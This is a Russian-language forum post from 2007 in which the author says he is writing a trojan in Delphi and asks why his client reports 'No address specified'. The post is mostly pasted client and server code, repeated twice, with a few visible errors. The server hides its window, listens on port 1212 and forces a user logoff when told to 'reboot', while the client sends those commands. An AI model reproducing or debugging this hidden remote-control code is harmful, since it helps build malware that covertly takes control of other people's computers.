S1nteZ
04.06.2007, 17:15
Я попробовал написать трой на Дельфи и уменя одна проблема:я испытовал трой на себе: включил сервер запускаю клиент ввожу свой внешний IP и он мне говорит 'No address specified' может это из-за порта? Вот код клиента:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Sockets, ScktComp;
type
TForm1 = class(TForm)
Button1: TButton;
RadioButton1: TRadioButton;
RadioButton2: TRadioButton;
RadioButton3: TRadioButton;
Edit1: TEdit;
ClientSocket1: TClientSocket;
procedure Button1Click(Sender: TObject);
procedure TcpClient1Connect(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Active:=True;
ClientSocket1.Address:=Edit1.Text;
ClientSocket1.Port:=1212;
end;
procedure TForm1.TcpClient1Connect(Sender: TObject);
begin
If RadioButton1.Checked then ClientSocket1.Socket.SendText('reboot');
If RadioButton2.Checked then ClientSocket1.Socket.SendText('vkl');
If RadioButton3.Checked then ClientSocket1.Socket.SendText('vykl');
end;
end.
А вот сервера:
nit Unit2;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp;
type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormPaint(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
begin
ServerSocket1.Active:=True;
ServerSocket1.Port:=1212;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
ServerSocket1.Active:=False;
end;
procedure TForm1.FormPaint(Sender: TObject);
begin
hide;
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
s:string;
begin
s:=Socket.ReceiveText;
If s='reboot' then ExitWindowsEX(ewx_logoff, ewx_force);
end;
end.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Sockets, ScktComp;
type
TForm1 = class(TForm)
Button1: TButton;
RadioButton1: TRadioButton;
RadioButton2: TRadioButton;
RadioButton3: TRadioButton;
Edit1: TEdit;
ClientSocket1: TClientSocket;
procedure Button1Click(Sender: TObject);
procedure TcpClient1Connect(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Active:=True;
ClientSocket1.Address:=Edit1.Text;
ClientSocket1.Port:=1212;
end;
procedure TForm1.TcpClient1Connect(Sender: TObject);
begin
If RadioButton1.Checked then ClientSocket1.Socket.SendText('reboot');
If RadioButton2.Checked then ClientSocket1.Socket.SendText('vkl');
If RadioButton3.Checked then ClientSocket1.Socket.SendText('vykl');
end;
end.
А вот сервера:
nit Unit2;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp;
type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormPaint(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
begin
ServerSocket1.Active:=True;
ServerSocket1.Port:=1212;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
ServerSocket1.Active:=False;
end;
procedure TForm1.FormPaint(Sender: TObject);
begin
hide;
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
s:string;
begin
s:=Socket.ReceiveText;
If s='reboot' then ExitWindowsEX(ewx_logoff, ewx_force);
end;
end.